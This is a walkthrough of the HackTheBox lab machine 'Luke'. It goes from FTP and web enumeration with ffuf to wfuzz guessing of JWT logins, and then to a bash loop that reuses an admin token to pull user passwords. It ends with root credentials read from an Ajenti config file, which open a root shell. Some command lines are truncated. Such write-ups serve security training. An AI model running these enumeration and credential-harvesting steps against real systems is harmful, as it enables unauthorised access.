Luke - HackTheBox


Information gathering

Let's start with the usual information gathering steps:

Port scan

There's a FTP server on port 21, let's check what's on it: FTP

In the webapp folder there's a txt file: Text file

Let's see what's on the web server on port 80: Web

Navigating through the website and checking the sources we do not find anything useful.

Let's run ffuf to search directories and files:

$ ffuf -w raft-large-directories.txt -r -u 
$ ffuf -w raft-large-files.txt -r -u 

I'm using two wordlists, one for directories and one for files. They both are from the SecLists repository: Ffuf directories Ffuf files


In the /management directory there's a login made with HTTP basic authentication: Management

In the login.php page there is a login form: Login

Trying hydra on both of them gives us no results.

The config.php file contains something interesting: Config

Let's check the web server on port 3000: NodeJS

Searching the error message on Google, we find that the token must be provided in the GET request using the X-Access-Token header. Let's fire up Burp and try: Token

It's getting recognized, but, obviously, it's not a valid token. After a bit of googling we find that to authenticate using JWT Tokens we must make a POST request to the endpoint providing the username and the password.

You can find a good explanation about JWT here.

Let's search any valid path on port 3000: Ffuf 3000

Let's use wfuzz with the password found in config.php with a list of usernames to try to get a token: Wfuzz JWT

We see that the username admin gives us a 200 response code. Let's make the request with curl to see the result: Token

Now we can use the token to authenticate by sending it in the X-Access-Token header in our requests.

Let's try to use it to access the previous found directory: Users JWT

By trying to do the same request to /users/admin, I got the admin password, so because I like to automate things, I wrote a script that makes a request for every user


declare -a users=("admin" "derry" "yuri" "dory")

for user in "${users[@]}"; do
    curl -s -X GET -H "X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY0NTk2MTIyLCJleHAiOjE1NjQ2ODI1MjJ9.QKBqdc7fAcMY7dVB-ruizMdmcUNm3KheoX1kwSuB68k"$user | jq

Passwords JWT

jq is used to beautify the JSON.

By trying the credentials in the logins founds previously, we get access to the /management endpoint with the user Derry: Management login

The only interesting file is config.json:

    "users": {
        "root": {
            "configs": {
                "ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}", 
                "ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}", 
                "ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}", 
                "ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}", 
                "ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}", 
                "ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}", 
                "ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}", 
                "ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}", 
                "ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}", 
                "": "{\"root\": \"/\"}", 
                "ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}", 
                "ajenti.users.UserManager": "{\"sync-provider\": \"\"}", 
                "ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}", 
                "ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}", 
                "ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}"
            "password": "KpMasng6S5EtTy9Z", 
            "permissions": []
    "language": "", 
    "bind": {
        "host": "", 
        "port": 8000
    "enable_feedback": true, 
    "ssl": {
        "enable": false, 
        "certificate_path": ""
    "authentication": true, 
    "installation_id": 12354

We find the username and password (root:KpMasng6S5EtTy9Z) for the Ajenti panel running on port 8000. This is the administration panel: Ajenti

On the left, in the terminal section, we have access to a shell: Root

To my surprise, this is a root shell, so during my workflow I must have skipped some steps.

User flag


Root flag